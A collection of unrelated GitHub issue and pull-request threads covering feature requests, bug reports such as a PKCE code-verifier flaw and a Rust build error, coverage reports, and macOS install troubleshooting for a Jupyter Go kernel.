The first one is clever! Never occured to me to treat the Open Food Facts database like that. Maybe we could put it as an option when the barcode modal pops up to scan by camera or search by text?
The second one we already implemented, I believe. Do you not see "Create a custom food from this scan?" when you try to scan a barcode? That will enable you to create that protein powder as a custom food.

Having thought more about it, the open food facts database is massive! I think adding it would add a level of complexity to the search interface that is not worth the benefit so I’m going to close this. Thanks for the suggestion though!


[PE-D][Tester A] Cosmetic flaw, colour of header of name in UG is inconsistent

Only the e in name is orange while the rest are black

Labels: severity.VeryLow type.DocumentationBug
original: ethantyh692/ped#15

Same as #259


Hotfix/close databae connections

We were getting a 'too many connections' error when we made a lot of requests quickly.
See this issue.

Codecov Report

Merging #30 into master will not change coverage.
The diff coverage is 0%.

@@         Coverage Diff          @@
##           master   #30   +/-   ##
====================================
  Coverage       0%    0%
====================================
  Files           6     6
  Lines         387   396    +9
====================================
- Misses        387   396    +9

Impacted Files
Coverage Δ

accessors/device.go
0% <0%> (ø)
:white_check_mark:

accessors/configuration.go
0% <0%> (ø)
:white_check_mark:

accessors/commands.go
0% <0%> (ø)
:white_check_mark:

accessors/room.go
0% <0%> (ø)
:white_check_mark:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 43b5a72...ac43d5b. Read the comment docs.


Use custom User-Agent when sending HTTP requests to CloudWatch Logs API

User Story
As an application developer, I want the AWS CloudWatch Logs team to be aware of how much usage comes from Incite.
Notes
This can be accomplished fairly trivially with the the AWS SDK for Go v1 using the request.AddToUserAgent(...) free function.

Hi @vcschapp , can I work on this?

Hi @alvin-rw, please feel free to take this on. I will assign the issue over to you.
I just pushed some WIP I had been building towards this, namely a new internal function named version() (see commit f36491f here and source code here). You can append the output of version() to the User-Agent header for each type of request Incite currently makes to the Insights API (StartQuery, StopQuery, GetQueryResults).

Hi @vcschapp , I've updated the code to use custom User-Agent header.
Please check the PR #21  for detailed information and please tell me if I should change anything.

Merged Pull Request #21.
Thanks @alvin-rw.


Cf v5 23 07 2023

Integrate bundle branch but could not succed in making it run

Integrate bundle branch but could not succed in making it run


:FromValue() is missing in Enums

Luau:

Roblox-TS:

Wrong repo - please move this isssue to https://github.com/roblox-ts/types


Import issues from the original darglint repository

In this comment, @real-yfprojects pointed out that there's a script which could be used to carry over issues from the original repository to this one.
The issues would appear under the name of whoever uses the script.
I'm not sure we want to bulk migrate each and every issue. Let's discuss.

I'm not sure we want to bulk migrate each and every issue. Let's discuss.

You are right. I would migrate the issues I would want to see tackled. That is (valid) bugs and notable feature requests.


UI for adding subgroups

At present, the backend allows creating subgroups, but there is no UI for doing so. We should fix this by making it possible to do so via the "Add members" field. These changes apply to both new and existing groups.
Add members changes

Adding a group to this field should make it a subgroup, instead of adding individual members to the group.
New placeholder text: "Add users or groups. Use #channelname to add all subscribers."

Members

Show pills for groups:

Group icon + group name on the pill.
Clicking on the pill should open the group card.
We can try just leaving the email blank.

Follow-ups

We should probably make it possible to add the members of a group, rather than the group itself. A button on the input pill to explode it into its members should work.

CZO thread

I can work on this

@zulipbot claim

Closing as this is completed, see #32335 for one follow-up listed here that was not completed.


Timer parallelizing

Implemented the BackEnd timer for the answer phase, and did some sequence changes for the FrontEnd
Closes #108 #112

Tests for coverage will follow


Restrict formatting

Hi
It's not an issue, but a feature idea/request (not sure if this is the right way, if not, please let me know).

I solved this the "hacky" way, by just removing them at t.btnsDef.formatting.dropdown. It would be great to have a proper way of doing this. Maybe the formatting options could be moved to t.o or be overwritten by stuff saved there.
Thanks (:

Hey !
You should create your own formatting dropdown, not modifying the existing one. If you do that, it's not hacky :)
Check it out: https://github.com/Alex-D/Trumbowyg/blob/develop/index.html#L85

Tried it and it works like a charm. I'm using:
jQuery('textarea[wysiwyg]').trumbowyg({
    btns: ['customFormatting', '|', 'bold', '|', 'link', '|', 'unorderedList', 'orderedList'],
    btnsDef: {
        customFormatting: {
            dropdown: ['p', 'h2', 'h3', 'h4'],
            ico: 'p'
        }
    },
});

Maybe, you could add a tutorial on the documentation page.
Awesome work and feel free to close the issue, thanks (:


Benzo: copyedits

Bryan's name spelling, wrong aliem blog post link, removed redundant text

Codecov Report

Merging #50 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #50   +/-   ##
=======================================
  Coverage   50.32%   50.32%
=======================================
  Files          14       14
  Lines         155      155
  Branches       43       43
=======================================
  Hits           78       78
  Misses         77       77

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 96780dc...89697ef. Read the comment docs.


Remove BV and HM country codes.

According to the Symfony sources, they are Uninhabited islands, hence blacklisted.
Closes #1685

@pimjansen here is the MR :-)

Thanks for the contribution 👌🏻


optimize for protos containing large blobs

One small optimization prost can do for proto message containing large blobs is - specialize decoding protobuf from reference counted buffers and give a reference to a slice of the underlying buffer as bytes instead of copying them. Similarly, when encoding the message simply chain these big blobs instead of copying them to output buffer. I think the C++ does this optimization for all bytes fields that specify ctype=cord.

There's no support for this yet, but it should be possible to add.  The 'plan' is to:

Add an option to prost_build::Config to output string and bytes fields as bytes::Bytes instead of String and Vec<u8>.
Add specialization into the decoding stack so that when decoding into a bytes::Bytes field from a bytes::Bytes source, it does a shallow copy (bytes::Bytes is ref-counted).

This solution unfortunately isn't too general - it only works with types known to prost through explicit specializations, but I think bytes::Bytes will cover the majority of cases.  Perhaps if there's a rope data structure that gains prominence down the road that could be added too.

Has anyone started on this? What does "specialization in the decoding stack" look like?

Looking at it, using Bytes instead of String feels a little wrong, doesn't it? I mean, something that checks the unicode and derefs into &str would be nice.
Or is the plan to provide some wrapper?

@vorner I think String<Bytes> is what you want.

Using Bytes for bytes would be useful for small bytes fields too - at the moment we spend a huge amount of time allocating small Vecs for such fields. Being able to reference the underlying buffer, or even allocate a large slab of memory once would be a big performance win.

As a container for string buffers backed by Bytes, I have published the strchunk crate.

What is the advantage of using that over that String<Bytes> thing above?

@vorner I did not look at it in detail, but it seems, as a more generic container, it can't make use of some optimizations that are available for the specific Bytes-backed container. On the other hand, the TakeRange impls could be implemented for String<Bytes> as well, since I have already implemented them for Bytes.

optimizations that are available for the specific Bytes-backed container.

Not directly applicable in prost, but the implementation of FromIterator<char>/Extend<char> is one example.
This can be bridged as well now that the impl of BufMut for BytesMut is consistently growable (https://github.com/tokio-rs/bytes/pull/316); except that would have to be String<BytesMut> so there'd need to be a conversion to String<Bytes>, or am I lost in these types now?

Hi all, on master this should be implemented on the deserialization side as of #387.  The heavy lifting landed in #341, which added support for specifying that a .proto bytes field should result in a bytes::Bytes Rust field.  When deserializing such a bytes field and the buffer being deserialized (the B type param) is of type bytes::Bytes, then it should be zero-copy.
This is essentially what I laid out back in 2017, except instead of using a language specialization feature it uses a nifty specialized method built in to the bytes crate.
As such, I'm going to close out this issue.  If there are concerns or follow up requests please feel free to file a new issue.  Thanks!


Tooltips

Hi Jonathan, you mentioned previously that zurb would be adding tooltips, any idea when this will make it into a release?
Thank you
Lee

Finishing them up, going to be in 2.1.5 next week. For reals. So much to do!

Thanks for letting me know - perfect timing!

Thanks Lee :)  I'm closing this for now, we'll have the tooltips in 2.1.5


Expand upon the SteamId struct

Support for SteamID64, SteamID3, and more, according to the documentation: https://developer.valvesoftware.com/wiki/SteamID

I can add SteamID32 support.

Seems like it might be worth getting inspiration from steamid-ng which seems to have done it pretty well.

The steamid-ng repository hasn't been updated in over a year, and the package on crates.io hasn't been updated in 3 years. I wouldn't be against using it if it was still active. The safest option might just be implementing it ourselves..

Substantial progress was made in PR #29

Would it be possible to get a function for going from SteamID to the SteamID struct? (For example from a STEAM_0:0:123456789 type id to the struct)


ShowHealthBars should get some final cleanup and then be upstreamed

Description

It's looking pretty good other than ClothingGrantComponent being really sus, IMO.

ClothingGrantingSystem.cs:29
Logger.Error("Although a component registry supports multiple components, we cannot bookkeep more than 1 component for ClothingGrantComponent at this time.");

Reading the code; there doesn't seem to be a real reason to err here.
The first foreach just makes and adds component from this list, and skips them if they are already added.
Unequip removed all the components from the list.
I do foresee a bug where two pieces of clothing grant the same component and unequipping one of them would result in losing the component completely.

https://github.com/space-wizards/space-station-14/pull/17807
almost done, hopefully :)

When upstreaming stuff take the current commits and then make needed
changes. You missed a bunch of stuff, including several old files that got
deleted as I bulldozed everything
On Tue, Jul 4, 2023, 17:19 PrPleGoo @.***> wrote:

space-wizards/space-station-14#17807
https://github.com/space-wizards/space-station-14/pull/17807
almost done, hopefully :)
—
Reply to this email directly, view it on GitHub
https://github.com/Nyanotrasen/Nyanotrasen/issues/1674#issuecomment-1620754890,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOPZ2LGKPALUAVPZM2FSX7LXOSCGHANCNFSM6AAAAAAZUV3NWA
.
You are receiving this because you authored the thread.Message ID:
@.***>

git blame -- <file> and git log --patch -- <file> are handy tools for learning what's affected a file. blame for an overview of the current state and log --patch/-p for a patch-based diff through time.


Breast Cancer Prediction

I want to develop ML model, that detects the Breast cancer.
@sanjay-kv  Please assign me this issue.
I am participating in GSSOC'24

I am interested in this issue. Please assign me this

I am Interested in working on this issue. Please assign it to me.I am a GSSoC contributor

I would like to work on this issue kindly assign me this issue


consolidate css

Layouts should use a single CSS
The color variables are specific to stories, they should not be part of the main css

Closed by #74


Improve documentation for RedirectStandardError and RedirectStandardOutput

Documentation for ProcessSettings.RedirectStandardError and ProcessSettings.RedirectStandardOutput seems to be just a copy from ProcessStartInfo documentation on MSDN, which is misleading in the context of the ProcessSettings class.

@pascalberger in order to follow our processes. Would you mind opening an issue for this PR also. Thanks!

@mholo65 Sure, I created https://github.com/cake-build/cake/issues/1620

@pascalberger this is now merged. Thanks for your contribution!


Segmentation fault when terminating server right after "Started server ..."

[STATUS] 07-14-2022 09:50:36: Started server: http://<IP_ADDRESS>:3000
[STATUS] 07-14-2022 09:50:36: ==========================================
^C[STATUS] 07-14-2022 09:50:38: Shutting down server.
[STATUS] 07-14-2022 09:50:38: FINISHED
Segmentation fault

I haven't been able to replicate, but I think there are many threads that are not properly stopped prior to full shutdown. I'll take a look at cleaning some of those up.

let's re-open if this is an issue still


Drop transient root

This just enables composefs.
Per discussion for now we will just document the existing bootc usroverlay etc., but we also need to fix https://github.com/ostreedev/ostree/issues/3177

@vrothberg I think you have perms here?  The github permissions are just a mess and I can't fix them myself


Deprecate Email Alert API's create_message endpoint

This was created for the Brexit checker. I don't believe it is used by anything since the checker was retired, so intend to remove it.
https://trello.com/c/8x01txnU/202-brexit-checker-uses-email-alert-api-as-a-substitute-database

I'll happily revert this if it has enthusiastic users 👍

Thanks for checking 😍. We (the Coronavirus team) will need to be able to send bulk emails, but I don't think this change interferes with that, so I think it's fine to deprecate it.


Idea: Character Location

It'd be great if the website could tell me where the character was at logout. Is such a thing possible?

This is already possible, just go to settings -> views -> default view -> home colums and scroll down a bit and you'll see "Locations - Current"


PKCE-Flow fails at generating code verifier for some btoa implementations / older browsers

Describe the bug
The signature of the btoa function is:
declare function btoa(data: string): string;
When generating the code verifier, not a string representation, but the Uint8Array directly is passed into the btoa function, which leads to an error in some older browser versions.
To Reproduce
Debug the application for example in Firefox version 48.0.
Set a breakpoint in the function generatePKCECodes after the line "var base64String".
A much too short code varifier will be created, which leads to an error when trying to login.
Expected Behavior
The randomValueArray created to generate the codeVerifier should be parsed into a string before using it as a parameter for the btoa function. The code challenge already has a correct implementation.
Actual Behavior
For debugging purposes, I used a reference implementation of btoa.
It seems like some btoa implementations parse the input value (which is expected to be a string) once more to a string, which leads to the following behavior:
The input value is still of type Uint8Array, but the btoa function is expecting a string.
The btoa method parses the input value to a string, just to be sure, it seems, which leads to the literal string "[object Uint8Array]", which then again results in a much too short (and not random any more) code varifier (see screenshot below).
Screenshots
It is done correctly when generating the code challenge, note how String.fromCharCode.apply is called on the Uint8Array, before calling btoa:

Exactly this part is missing when generating the code verifier:

Note how parsing the btoa input value to a string leads to an input value of literally "[object Uint8Array]":

Note how this leads to a much too short base64String and codeVerifier being generated (it seems to literally translate "[object Uint8Array]") into "W29iamVjdCBVaW50OEFycmF5XQ==" each and every time:

Note the diff I have added to the method "generatePKCECodes" to fix this issue:

Versions

What version of the SDK are you using?
9.4.0
What version of the language are you using?
Typescript 4.1.0
Are you using Javascript or Typescript?
Typescript
What platform are you using? (if applicable)
Firefox 48.0 / Gecko 48.0

Additional context
-

Thanks for the detailed writeup!


Not able to build a single feature

I am trying to cargo build/test a single feature in Rusoto, but I always get an error. The error looks like the following:
$ cargo build -j 4 --lib --features ec2
   Compiling rusoto v0.23.1 (file:///home/gabriell/code/rust/rusoto)
error: unused `#[macro_use]` import
  --> src/lib.rs:59:1
   |
59 | #[macro_use]
   | ^^^^^^^^^^^^
   |
note: lint level defined here
  --> src/lib.rs:8:45
   |
8  | #![cfg_attr(not(feature = "unstable"), deny(warnings))]
   |                                             ^^^^^^^^

error: aborting due to previous error

error: Could not compile `rusoto`.

To learn more, run the command again with --verbose.

Am I doing something wrong?

You're doing everything right.  Rust 1.16 is stricter on unused imports so if you build a service that doesn't use serde_derive the build will fail.
Can we close this and use the other issue to track it?

OK, let's track it on issue #596.


Mac Installation

The README is not obvious, I've first tried it on Linux, then realized it's not working by itself on Mac.
The proper path on Mac to install the kernel is: /Users/${USER}/Library/Jupyter/kernels/
For the folks on Mac after gonb --install,  just move the kernel definition to:
 mv /Users/${USER}/.local/share/jupyter/kernels/gonb  /Users/${USER}/Library/Jupyter/kernels/

Great work thanks for gonb!

hi @akhenakh , thanks for the feedback. Indeed I point out in the TODO section that I never tested it in Mac and likely it won't work -- but in retrospect I should have mentioned it in the INSTALL section, my bad.
Question: if I do a change that tries to install correctly in Mac (by creating the Jupyter configuration file in /Users/${USER}/Library/Jupyter/kernels/), would you be willing to test it ?

I hope that PR should do the installation to the right location in Macs. Would you be able to test with something like:
$ go install github.com/janpfeifer/gonb@4c25cbb99dd509a194e71f67d16acb5369503628
$ gonb --install --logtostderr

And check that it updated the  /Users/${USER}/Library/Jupyter/kernels/ file ?
thanks!

Cleaned up before installing:
rm -r /Users/${USER}/.local/share/jupyter
rm -r /Users/${USER}/Library/Jupyter/kernels/gonb

Confirmed it's disabled in Jupyter
go install github.com/janpfeifer/gonb@4c25cbb99dd509a194e71f67d16acb5369503628
go: downloading github.com/janpfeifer/gonb v0.4.1-0.20230324081946-4c25cbb99dd5

gonb --install --logtostderr
[50d4168f] 2023/03/24 07:21:27 Go (gonb) kernel configuration installed in "/Users/xxx/Library/Jupyter/kernels/kernel.json".

It does not show up in jupyter, I think it's missing one more directory it should be /Users/xxx/Library/Jupyter/kernels/gonb/kernel.json"

Ugh, my bad. Thanks for checking!
I'll send a new version later tonight.

Again apologies. The new attempt is:
$ go install github.com/janpfeifer/gonb@bb9ef92ca3cb186ff747e194ad1a13f52b229a85

Would you mind trying again ?

[6ce2567e] 2023/03/24 17:32:51 Go (gonb) kernel configuration installed in "/Users/xxx/Library/Jupyter/kernels/gonb/kernel.json".

And it's working !
Thanks


Add: Bostra TV [FR/CD]

Channel Name
Bostra TV
Alternative Names (optional)
No response
Network (optional)
No response
Owners (optional)
Église évangéliste la Bonne Semence
Country
FR
Subdivision (optional)
No response
City (optional)
Pantin
Broadcast Area
c/FR;c/CD
Languages
fra
Categories (optional)
religious
NSFW
FALSE
Launched (optional)
No response
Closed (optional)
No response
Replaced By (optional)
No response
Website (optional)
https://www.bostratv.fr/
Logo
https://i.imgur.com/MPtaSWd.jpg
Notes
No response

Are we 100% sure it's at destination of the Congo Republic diaspora ? Just by looking at the website, seems French to me.


Restrict de novo variants to affected individuals in de_novo built-in tool

I think this should probably be the default or else it could be done optionally, with a flag such as --only-affected like comp_hets has.  For example, this variant should not show up in the results:
DS-101725(father; unaffected),DS-101850(mother; unaffected),DS-101749(child; unaffected),DS-101762(child; affected),DS-101780(child; unaffected)	T|T,T|T,T/T,T|T,T/A
The variant is only present in the unaffected child so it is not interesting.
Thanks,
Andrew

Thanks for bringing this up.  I have added the --only-affected option with commit 0d89f70.

Thanks, I'll give it a try!
Andrew
On Wed, Feb 18, 2015 at 12:05 AM, Aaron Quinlan<EMAIL_ADDRESS>wrote:

Closed #371 https://github.com/arq5x/gemini/issues/371.
—
Reply to this email directly or view it on GitHub
https://github.com/arq5x/gemini/issues/371#event-237447125.


Try skipping the Non-Project Files Protection dialog when editing .git/machete

It would be better if this dialog does not show up:

But it's more of a UX issue, just not to confuse the user. Also, this dialog is only shown once at the very beginning for any given project anyway.

Can you provide the specific reproduction steps?

Weird... now I can't reproduce that myself :thinking: even doing runIde on a clean project (i.e. with build/idea-sandbox/ removed) was not enough :frowning_face:

If nobody comes this across in the next few weeks, then let's close this issue definitively.

It's likely to be true for older versions of IntelliJ (e.g. 2019.3 that we drop).
I also not come this, so close.

Oh no, it is just appear when I try to edit (not only open) machete file on fresh IntelliJ instance  :/

Yeah, confirming. It is still present. :confused:
I would rather increase the severity of this issue. I know it's gonna appear rarely (probably once) but sadly at the very begging of the plugin usage. :crying_cat_face:

Right, that's gonna be an unfortunate part of first-time UX :/

I was unable to reproduce that.
IMHO it should not happen since we have the following line:
NonProjectFileWritingAccessProvider.allowWriting(Collections.singletonList(file)

Without it, the non-project files projection dialog actually appears

Oh! I see the exact combination that's leads to the problem... that's not related to the new version of IntelliJ or anything. Lemme re-close this ticket and open a new one


Project license?

Hello @antfarmar -- great project you've got here! This has been a really valuable resource for learning Unity. Do you think you'd ever consider specifying a software license to permit the reuse of your code or assets in other projects? Perhaps something like the MIT license?
Even if you don't want to permit reuse or open source this project as such, I think specifying a license to clarify your stance here would be desirable.

Hi Tim.
Thanks for the kind words!
Added the MIT license. Reuse away!
Cheers.


build-sys: drop go 1.20 support and update revive and golangci-lint

they now depend on the slices package which was introduced in 1.21

rebased to make deepsource happy


Fix associations with active model serializers

Fix active model serializers format with associations (Issue #212)

Why are none of these pull requests and issues being addressed? Has the author abandoned this? @remiprev?

Can't be merged unless it is rebased.

Is it bad etiquette if I fork the repo, make these same changes and submit a (similar) pull request?

@pencil, @remiprev: I've rebased the pull request

ping @pencil

pong @hubert, whenever you have time
thanks for the fix @minktom!

ping? is this in a build somewhere I can use? having various problems with AMS and Her integration...

i'll take a closer look at this over the weekend.
On Thu, May 14, 2015 at 12:00 PM, M. E. Patterson<EMAIL_ADDRESS>wrote:

ping? is this in a build somewhere I can use? having various problems with
AMS and Her integration...
—
Reply to this email directly or view it on GitHub
https://github.com/remiprev/her/pull/266#issuecomment-102138063.

Merge pls. :)

merged #359, which is this PR rebased with the latest in master. needed to do so in order for it the latest travis checks to be run.

Awesome! Thanks @hubert


[AdCloud DSP] Ad-related Metadata Hierarchy

Please link to the issue #735
This will introduce 2 new global classes : Advertisement and Promoted Video. These will model the support for ads in DSP.
Ads are attached to Campaign Placements.  But the same Ad can be attached to any number of placements, and those placements don't have to all belong to the same campaign. The same hierarchy relationship is valid related to Ads and Feeds. Each Ad contains a Promoted Video referenced by its identifier.
A more extended documentation regarding the part of the DSP Advertising model we want to expose can be found in our wiki page.
@prabhum2 , @cfraser Can you please help us with the review?

@raileanu-adobe  - Can this be closed , looks like this is old one and you are going to have a New PR for the same

Closing this PR as we will need to refactor using AdCloud namespace.


UI Polish for MB Release

We would like to make the following UI tweaks to give the app some polish ahead of the MB release:

[ ] Topic Card: Recommendation Icon overlaps the text on smaller devices (eg. ipod touch), and the text does not stretch to fill out all the space on larger devices (eg. iPad). The layout should be updated so the text fills all available space but the recommendation icon does not overlap the text.
[ ] Topic Card: Vertically center align the bookmark icon
[ ] Bottom Nav: Remove the shadow and increase the top border weight
[ ] Home screen: Update topic headings to be horizontal (icon is to the left of the text) instead of stacking. Reduce space above each heading
[ ] Home screen: Recommended for you description - remove Recommendation Bubble image and extend the text horizontally
[ ] Right menu drawer: Increase spacing between menu items (locales/regions)
[ ] Welcome screen: Make locale picker down arrow teal
[ ] Welcome screen: I can see a little bit of the blue background peeking out from the header image, which creates a light blue line above the "Settling in Canada is now easier" part. Hide the blue line.
[ ] Topic detail collapsed (read more): Add white gradient to the end of the collapsed text. Increase collapsed topic detail height. The white gradient should show when the text is collapsed and not when it is expanded
[ ] Help screen: Increase spacing around "For additional assistance". Align link items margins with the same margins of the text above (Title and "If you need support settling..." text)
[ ] Help screen: Update button width of buttons to extend the full width
[ ] Entire app: Increase padding around all the text that sits on the background (not text in cards) from 15 to 20
[ ] Bookmarks banner: There is currently a 8px space above and none below. We would like to remove the 8px space above and add the 8px space below.
[ ] Bookmarks page: Remove the marginHorizontal on the bookmark tab bar
[ ] Learn page: Chapter buttons - increase spacing under the Chapter title and increase top and bottom padding around the text
[ ] Questionnaire Card: Improve the collapsed questionnaire card layout so the left arrow aligns with the title text above
[ ] Search page: There is an instance where the pale colour shows up as a background colour — remove and replace with lightGrey
[ ] Shadow (used on questionnaire CTA and learn buttons): reduce the shadow darkness a touch

Acceptance Criteria

[ ]  Changes above are reflected in the app!

Steps for QA:

Who can test these issues? @cherrielam @brandon-PG @rasmus-storjohann-PG


[WIP] TRPO agent

This PR adds chainerrl.agents.TRPO, which implements the TRPO-GAE algorithm.
Resolves #202
Strangely, chainer==3.0.0 and chainer==3.1.0 have different results. With chainer==3.0.0 line search always backtracks several times, while with chainer==3.1.0 it rarely backtracks. Values of expected improve and KL div are different.
python examples/gym/train_trpo_gym.py --env Hopper-v1 --gpu -1
chainer==3.0.0
INFO:chainerrl.experiments.train_agent:outdir:results/20171217T050456.738713 step:1022 episode:48 R:9.23186813481
INFO:chainerrl.experiments.train_agent:statistics:[('average_value', nan), ('average_entropy', 3.7070460319519043), ('average_kl', nan), ('average_policy_step_size', nan)]
INFO:chainerrl.agents.trpo:Line search iteration: 0 step size: 1.0
INFO:chainerrl.agents.trpo:Surrogate objective improve: 0.13816076517105103
INFO:chainerrl.agents.trpo:KL divergence: 0.8066530227661133
INFO:chainerrl.agents.trpo:KL divergence exceeds max_kl. Bakctracking...
INFO:chainerrl.agents.trpo:Line search iteration: 1 step size: 0.5
INFO:chainerrl.agents.trpo:Surrogate objective improve: 0.08148320019245148
INFO:chainerrl.agents.trpo:KL divergence: 0.20232915878295898
INFO:chainerrl.agents.trpo:KL divergence exceeds max_kl. Bakctracking...
INFO:chainerrl.agents.trpo:Line search iteration: 2 step size: 0.25
INFO:chainerrl.agents.trpo:Surrogate objective improve: 0.04137067496776581
INFO:chainerrl.agents.trpo:KL divergence: 0.05066625028848648
INFO:chainerrl.agents.trpo:KL divergence exceeds max_kl. Bakctracking...
INFO:chainerrl.agents.trpo:Line search iteration: 3 step size: 0.125
INFO:chainerrl.agents.trpo:Surrogate objective improve: 0.020503554493188858
INFO:chainerrl.agents.trpo:KL divergence: 0.012677105143666267
INFO:chainerrl.agents.trpo:KL divergence exceeds max_kl. Bakctracking...
INFO:chainerrl.agents.trpo:Line search iteration: 4 step size: 0.0625
INFO:chainerrl.agents.trpo:Surrogate objective improve: 0.010174408555030823
INFO:chainerrl.agents.trpo:KL divergence: 0.003170591313391924

chainer==3.1.0
INFO:chainerrl.experiments.train_agent:outdir:results/20171217T050602.057921 step:1022 episode:48 R:9.23186813481
INFO:chainerrl.experiments.train_agent:statistics:[('average_value', nan), ('average_entropy', 3.7070460319519043), ('average_kl', nan), ('average_policy_step_size', nan)]
INFO:chainerrl.agents.trpo:Line search iteration: 0 step size: 1.0
INFO:chainerrl.agents.trpo:Surrogate objective improve: 0.03503759950399399
INFO:chainerrl.agents.trpo:KL divergence: 0.005451631732285023

I noticed 3.1.0 adds double-backprop support for relevant functions such as softplus and log. It seems, unfortunately, that calling chainer.grad twice for functions that don't support double-backprop doesn't raise an error.
code
import chainer
from chainer import functions as F
import numpy as np
x = chainer.Variable(np.zeros((1, 1), dtype=np.float32))
y = F.softplus(x)
g = chainer.grad([y], [x], enable_double_backprop=True)
gg = chainer.grad([g[0]], [x])
print('g', g)
print('gg', gg)

3.0.0
g [variable([[ 0.5]])]
gg [None]

3.1.0
g [variable([[ 0.5]])]
gg [variable([[ 0.25]])]

This explains different TRPO results.

I think it should raise an error if computation contains functions that don't support double-backprop, but am not sure how to detect them.
None returned by chainer.grad doesn't always mean existence of such functions, because double-backrop of y = 2 * x is None, too.

I added _find_old_style_function to detect old-style functions and check it before double backprop. From Chainer v3.1.0 there's no old-style functions in TRPO's tests and example.

TODO:

normalize observations
compare performance to openai/baselines

python examples/gym/train_trpo_gym.py --env Hopper-v1 --steps 2000000 --eval-interval 100000 --eval-n-runs 100

python examples/gym/train_trpo_gym.py --env Walker2d-v1 --steps 2000000 --eval-interval 100000 --eval-n-runs 100

While these are single runs from random seed 0, their performance looks better than those in the PPO paper, and comparable to http://arxiv.org/abs/1709.06560 as well.

I fixed the points you mentioned, except the name of var_param_init, which I don't come up a better name.

The coverage with Chainer v2 decreased while that of v3 increased. I think it is because the tests of TRPO are active only for v3.


fixed a bug that prevents the bot from working in DM

This PR makes it so that the logger check if the interaction is being issued from a DM or a Guild instead of assuming it's from a Guild like before.

Hi Maid :Aqua_Pog:


DNS Ping Proposal

Discussion checkpoint
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report
Patch coverage: 90.90% and project coverage change: +0.01 :tada:

Comparison is base (8c24d7e) 79.33% compared to head (2365b95) 79.34%.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #559      +/-   ##
==========================================
+ Coverage   79.33%   79.34%   +0.01%
==========================================
  Files          25       25
  Lines        5646     5654       +8
==========================================
+ Hits         4479     4486       +7
- Misses       1167     1168       +1

Impacted Files
Coverage Δ

source/channel_bootstrap.c
72.74% <75.00%> (-0.08%)
:arrow_down:

source/host_resolver.c
89.48% <100.00%> (+0.08%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

Removes DNS host listener functionality completely. It is no longer used since S3 endpoint DNS now returns large groups of records
Is this assertion true? from testing it seems that MVA DNS for s3 now returns a max of 8 ips and for 100 gbps nics min amount of ips we want is around 10. Will this cause perf degradation since we are not acquiring enough ips?

Removes DNS host listener functionality completely. It is no longer used since S3 endpoint DNS now returns large groups of records
Is this assertion true? from testing it seems that MVA DNS for s3 now returns a max of 8 ips and for 100 gbps nics min amount of ips we want is around 10. Will this cause perf degradation since we are not acquiring enough ips?

Assertion was incorrect about root reason.  host listener functionality was removed far earlier here: https://github.com/awslabs/aws-c-s3/pull/136
Will update PR commentary, but s3 client will be unaffected


Blitting API doesn't allow selecting read-buffer

I think blitting/framebuffer API needs some adjustments. There's no way to specify read-buffer (so it's always default color attachment 0 for FBOs or backbuffer for default FB).
Also I found a little bug: calculation of read-region (intersection) takes into account all color attachments, but should only the one selected as read-buffer. It kind of depends on the proposed adjustments so I couldn't just fix it in the moment.
Posting because most likely some API-change decisions have to be taken.

that API is candidate for removal, whatever we replace it with better follow Vulkan model
https://www.khronos.org/registry/vulkan/specs/1.1-extensions/man/html/vkCmdBlitImage.html


Set of changes for Python to-do app, Cloudant version only

To keep the frontend in /frontend the following needs to be changed:

add an extra step to recursively copy content of frontend to static
activate/uncomment code snippet to serve static content


Thats going to be my favorite wm, thank you for your work

thank you for making this amazing window manager, it is fun to use and because it basicly tries to cover nvim windows, winshift works and tabs can be used as workspaces.
Very hackable and extensible even with nvim plugins, thank you.
Are you Planning to make any plugins for this wm like tabline with clock, date etc?
Hope your work will be apreceated (howether you write those 2 words).
Nxwm my new beloved.

Thanks for the kind words.
No, I'm not planning to add such things.

and if talking about issues:

floating windows tile,
maps option in setup function doesnt seem to work (as an alternative i use vim.keymap.set because if other wm uses those keybinds, then terminal emulator cant catch them).

and how do i make windows move from i tab to another?

The same way you would move one buffer from one tab to another.
Here's an example of a function for doing that:
local function tabbufmove(num)
  local buf=vim.fn.bufnr()
  local win=vim.api.nvim_get_current_win()
  vim.cmd.tabnext(num)
  vim.cmd.sbuf{buf,mods={vertical=true}}
  vim.api.nvim_win_close(win,true)
end

idk why but this works better tbh (also thank you)
local function tabbufmove(num)
  local buf=vim.fn.bufnr()
  local win=vim.api.nvim_get_current_win()
  vim.cmd.tabnext(num)
  vim.cmd("vs")
  vim.cmd("buffer "..buf")
  vim.api.nvim_win_close(win,true)
end


Remove un-implemented HTML5 parameter extension point declarations

This is for issue #2312 .

:+1: from me on this.

Can we consider this for 2.2.5? Small removal of non-working declarations to prevent confusion.

I'm marking as 2.2.5 - trying to ping Jarno offline to see if he has any concerns that I'm missing, otherwise I expect to merge it this afternoon.


Update react.md

These npm specifiers have the following format:
npm:[@][/]

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


syntax error, unexpected identifier "SaleStatus","PurchaseStatus"...

hello developers how are you doing hoping ou are doing well really i appreciate your strong effort and Optmisticness guys when i try to open sales,purchase and others i face this issues what happen any one pls can you tell me thanks in advance!

hello please any one can you let me know please

I am facing same issue did you solve it?

i guess the issue isnt happening now, anyway , ive upgraded the usage of Enums throughout the app


30 feature add tabs to the query results pane

https://www.loom.com/share/0ee841cbed404332b6636d384b980689


OS: Fix supported prefix check

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.
[ ] Have you successfully run brew style with your changes locally?
[ ] Have you successfully run brew typecheck with your changes locally?
[ ] Have you successfully run brew tests with your changes locally?

